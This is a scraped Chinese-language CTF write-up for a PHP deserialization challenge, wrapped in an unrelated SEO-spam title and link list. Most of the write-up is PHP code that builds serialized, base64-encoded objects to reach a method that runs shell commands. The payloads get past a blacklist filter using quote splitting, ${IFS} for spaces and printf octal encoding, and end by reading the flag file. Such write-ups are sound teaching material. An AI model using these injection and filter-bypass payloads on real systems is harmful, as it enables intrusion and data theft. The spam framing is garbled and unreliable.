当前位置: 首页 > news >正文

网站头部设计优化网站seo系统

网站头部设计优化,网站seo系统,wordpress 自动评论软件,如何做拼多多商城官网站开启场景 整体来说是创建了一个case类,然后可接受post传来的ctf的值,并对其进行base64解码以及反序列化。所以我们能控制ctf变量。 先看__wakeup方法,该方法使用waf方法对$arg中的内容进行了防护,过滤掉了| & ; 空格 / cat f…

开启场景

整体来说是创建了一个case类,然后可接受post传来的ctf的值,并对其进行base64解码以及反序列化。所以我们能控制ctf变量。

  1. 先看__wakeup方法,该方法使用waf方法对$arg中的内容进行了防护,过滤掉了| & ; 空格 / cat flag tac php ls。
  2. 再看__destruct方法,该方法检测ping是否在$method中,并调用了名为$method的方法,且以数组$arg中的值作为参数。
  3. 接着看ping方法,该方法的结构为将输入参数作为外部命令进行执行,并返回输出结果。该函数实现了作为一个webshell的基本条件。
  4. 综合来看就是在通过$method和__construct来调用构造的ping方法,接着通过$args来作为输入口进行命令的输入。

查看目录文件

写一段序列化代码对 ls 命令序列化之后再 base64 编码

<?phpclass ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}}
$a = new ease("ping",array('l""s'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>

使用 php在线编译工具编译之后得到了一串 base64 编码

在场景页面打开 F12 使用 hackbar 插件发送post 请求,

发现了有一个flag_1s_here文件夹

查看flag_1s_here文件夹

再用序列化代码重复上述操作

<?php
class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}}$o=new ease("ping",array('l""s${IFS}f""lag_1s_here'));
$s = serialize($o);
echo base64_encode($s);
?>

再编译得到了 base64 编码

再发送 post 请求

发现了一个flag_831b69012c67b35f.php 文件

查看flag_831b69012c67b35f.php

flag,cat,flag,php都可以用双引号绕过,空格用${IFS}绕过,/要用printf$()绕过。

<?phpclass ease{
private $method;
private $args;
function __construct($method, $args) {$this->method = $method;$this->args = $args;
}}
$a = new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>

再编译

再发送 post 请求

或者直接对整个要执行的命令用printf及$()绕过,flag_1s_here/flag_831b69012c67b35f.php的八进制或十六进制编码都可以

<?phpclass ease{private $method;
private $args;
function __construct($method, $args) {$this->method = $method;$this->args = $args;
}}
$a = new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>

最终二者都发现了 flag

cyberpeace{90c18db4e46c6499d6e25e37c7babaf9}
http://www.ds6.com.cn/news/97117.html

相关文章:

  • 响应式网站设计制作网站的全过程
  • 机构改革后政府网站建设方案白酒最有效的推广方式
  • 红色网站呢四川seo哪里有
  • 专门做网站的公司与外包公司有哪些互联网怎么赚钱
  • 网站建设评审验收会议主持词网站运营维护的基本工作
  • 咸阳做网站优化百度贴吧官网首页
  • 济南微网站建设网站推广服务商
  • 网站建设 爱诚科技关键词优化排名平台
  • 郑州便宜网站建设报价微营销平台
  • 苏州 网站建设 app网站建设制作过程
  • 国外可以用什么网站做问卷企业建站流程
  • 惠州建设企业网站给我免费的视频在线观看
  • 广告设计模板网站今日小说百度搜索风云榜
  • 怎么在网站上做宣传柳州网站建设
  • 设计网站名字qq群推广
  • 菠菜网站的代理怎么做新乡seo优化
  • 凡客精选app下载怎么优化一个网站
  • 广州安全教育平台登录入口咖啡seo是什么意思
  • 专门做简历的网站软件爱奇艺科技有限公司
  • 官方网站免费制作太原seo优化
  • 惠州html5网站建设下店拓客团队
  • 面包机做面包网站网站seo优化方案项目策划书
  • 网站制作网免费seo搜索引擎优化方法
  • 现在哪个招聘网站做的比较好德州百度推广公司
  • 微信公众号服务号网站开发流程yande搜索引擎官网入口
  • 网站建立多少钱北京网站优化常识
  • mvc做的网站seo排名app
  • 网站建设 工具深圳关键词自动排名
  • 布吉做棋牌网站建设哪家技术好企业文化的重要性
  • 10个无版权限制的大图特供网站网络推广优化seo